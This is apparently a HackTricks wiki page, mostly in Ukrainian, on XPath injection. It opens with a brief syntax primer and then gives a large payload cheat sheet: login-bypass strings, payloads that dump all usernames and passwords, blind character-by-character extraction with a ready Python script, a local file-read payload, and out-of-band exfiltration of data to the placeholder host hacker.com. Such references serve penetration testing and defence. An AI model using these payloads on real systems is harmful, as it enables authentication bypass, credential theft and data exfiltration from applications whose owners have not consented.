XPATH injection
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Syntax
Техніка атаки, відома як XPath Injection, використовується для використання додатків, які формують запити XPath (XML Path Language) на основі введення користувача для запиту або навігації по XML-документах.
Nodes Described
Вирази використовуються для вибору різних вузлів у XML-документі. Ці вирази та їхні описи підсумовані нижче:
- nodename: Вибираються всі вузли з ім'ям "nodename".
- /: Вибір здійснюється з кореневого вузла.
- //: Вибираються вузли, що відповідають вибору з поточного вузла, незалежно від їхнього розташування в документі.
- .: Вибирається поточний вузол.
- ..: Вибирається батьківський вузол поточного вузла.
- @: Вибираються атрибути.
XPath Examples
Приклади виразів шляху та їх результати включають:
- bookstore: Вибираються всі вузли з ім'ям "bookstore".
- /bookstore: Вибирається кореневий елемент bookstore. Зазначається, що абсолютний шлях до елемента представлений шляхом, що починається зі слеша (/).
- bookstore/book: Вибираються всі елементи book, які є нащадками bookstore.
- //book: Вибираються всі елементи book у документі, незалежно від їхнього розташування.
- bookstore//book: Вибираються всі елементи book, які є нащадками елемента bookstore, незалежно від їхнього положення під елементом bookstore.
- //@lang: Вибираються всі атрибути з ім'ям lang.
Utilization of Predicates
Предикати використовуються для уточнення вибору:
- /bookstore/book[1]: Вибирається перший елемент book, що є нащадком елемента bookstore. Обхідний шлях для версій IE з 5 по 9, які індексують перший вузол як [0], полягає в налаштуванні SelectionLanguage на XPath через JavaScript.
- /bookstore/book[last()]: Вибирається останній елемент book, що є нащадком елемента bookstore.
- /bookstore/book[last()-1]: Вибирається передостанній елемент book, що є нащадком елемента bookstore.
- /bookstore/book[position()<3]: Вибираються перші два елементи book, що є нащадками елемента bookstore.
- //title[@lang]: Вибираються всі елементи title з атрибутом lang.
- //title[@lang='en']: Вибираються всі елементи title з атрибутом "lang" зі значенням "en".
- /bookstore/book[price>35.00]: Вибираються всі елементи book з bookstore з ціною більше 35.00.
- /bookstore/book[price>35.00]/title: Вибираються всі елементи title елементів book з bookstore з ціною більше 35.00.
Handling of Unknown Nodes
Шаблони використовуються для відповідності невідомим вузлам:
- *: Відповідає будь-якому елементу вузла.
- @*: Відповідає будь-якому атрибуту вузла.
- node(): Відповідає будь-якому вузлу будь-якого типу.
Додаткові приклади включають:
- /bookstore/*: Вибирає всі дочірні елементи вузлів елемента bookstore.
- //*: Вибирає всі елементи в документі.
- //title[@*]: Вибирає всі елементи title з принаймні одним атрибутом будь-якого типу.
Example
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Отримати інформацію
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Визначення та викрадення схеми
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Обхід автентифікації
Приклад запитів:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR обхід у користувача та паролі (однакове значення в обох)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Зловживання нульовою ін'єкцією
Username: ' or 1]%00
Подвійний OR у імені користувача або у паролі (діє лише з 1 вразливим полем)
ВАЖЛИВО: Зверніть увагу, що "і" є першою операцією, що виконується.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Витяг рядків
Вихідні дані містять рядки, і користувач може маніпулювати значеннями для пошуку:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Сліпа експлуатація
Отримати довжину значення та витягти його за допомогою порівнянь:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Приклад Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Прочитати файл
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Експлуатація
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Автоматичний інструмент
Посилання
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.